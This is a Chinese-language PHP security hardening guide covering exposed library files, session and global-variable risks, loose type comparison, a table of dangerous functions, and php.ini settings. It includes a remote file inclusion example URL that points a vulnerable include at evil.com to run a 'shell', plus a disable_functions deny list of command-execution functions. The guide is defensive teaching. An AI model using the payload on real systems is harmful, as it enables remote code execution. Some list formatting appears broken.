PHP 靈活的語法特性雖提高開發效率,但若不當使用極易引入安全漏洞。本文系統梳理包含檔案、Session、資料型別、危險函數在內的核心風險點,並提供分級防護建議。
早期慣用 .inc 副檔名區分庫檔,但 Apache 預設不解析此副檔名,導致原始碼直接洩露。改用 .php 副檔名雖防洩露,卻引入新風險:攻擊者可直接請求庫檔,使本應在上下文中執行的程式碼獨立運行,觸發變數覆蓋、路徑遍歷等攻擊。
<?php
// main.php
$libDir = '/libdir';
$langDir = "$libdir/languages";
include("$libdir/loadlanguage.php");
// libdir/loadlanguage.php
include("$langDir/$userLang"); // $langDir 與 $userLang 可被外部控制
?>
攻擊者直接請求 loadlanguage.php?langDir=https://evil.com&userLang=shell 即可執行任意程式碼。
/var/www/lib),僅透過 include_path 引入。if (!defined('IN_APP')) exit('Access denied');open_basedir 限制檔案存取範圍。PHP 預設將 EGPCS(Environment, Get, Post, Cookie, Server)變數註冊為全域變數。若程式碼直接使用 $session_auth 而非 $_SESSION['session_auth'],攻擊者可透過表單提交偽造 Session 變數繞過驗證。
Session 預設儲存於 /tmp(檔名如 sess_<id>),屬於 Web 使用者(通常為 nobody)。惡意使用者可:
include() 執行。session_id(如 hello)建立可預測的 Session 檔案。$_SESSION 超全域陣列存取 Session 資料。session.save_path 為獨立、受限目錄(需 0700 權限)。session.use_only_cookies = 1 禁止 URL 傳遞 Session ID。session.hash_function 使用 SHA-256 等強雜湊。PHP 型別隱性轉換易導致邏輯錯誤:
"" == 0 為 true,但 "" === 0 為 false。"000" == "0" 為 true,但陣列索引 $arr["000"] ≠ $arr[0]。empty("0") 回傳 true,可能誤判有效輸入。原則:嚴格比較(===/!==),明確型別轉換,統一驗證邏輯。
| 類別 | 函數 | 風險說明 |
|---|---|---|
| 程式碼執行 | eval() | 將字串當作 PHP 程式碼執行,極度危險 |
| include()/require() | 路徑可控時導致本地/遠端檔案包含(LFI/RFI) | |
| preg_replace()/e | 替換字串被當作程式碼執行(PHP 7.0+ 已移除 /e) | |
| create_function() | 內部使用 eval(),已棄用 | |
| 命令執行 | exec(), system(), passthru() | 執行系統命令,參數未過濾可注入任意指令 |
| `反引號` | 同 system() | |
| proc_open(), popen() | 開啟進程管道,輸入輸出可控 | |
| shell_exec() | 同 backtick operator | |
| pcntl_exec() | 執行程式替換當前進程 | |
| mail() | 第 5 參數可注入 sendmail 參數(如 -X 寫入日誌) | |
| 檔案洩露 | fopen(), file_get_contents() | 讀取任意檔案(配合 php://filter 繞過限制) |
| readfile(), file() | 直接輸出檔案內容 | |
| highlight_file(), show_source() | 顯示原始碼並高亮 |
| 難度 | 配置項 | 說明 |
|---|---|---|
| ★ | disable_functions | 禁用 eval, exec, system, passthru, shell_exec, proc_open, popen, mail 等 |
| ★ | expose_php = Off | 隱藏 PHP 版本資訊 |
| ★★ | open_basedir | 限制腳本存取目錄,防止目錄遍歷 |
| ★★ | allow_url_fopen = Off | 禁止遠端檔案包含 |
| ★★ | allow_url_include = Off | 禁止 include/require 遠端 URL |
| ★★★ | session.cookie_httponly = 1 | 防止 JavaScript 竊取 Session Cookie |
| ★★★ | session.cookie_secure = 1 | 僅 HTTPS 傳輸 Cookie(需憑證) |
| ★★★★ | 搭配 Suhosin / Snuffleupagus 擴展 | 提供請求過濾、加密、虛擬補丁等進階防護 |
安全是系統工程,而非單一配置。結合「最小權限原則」、「輸入驗證與輸出編碼」、「纖深防禦」,並定期進行程式碼審計與滲透測試,才能有效降低 PHP 應用風險。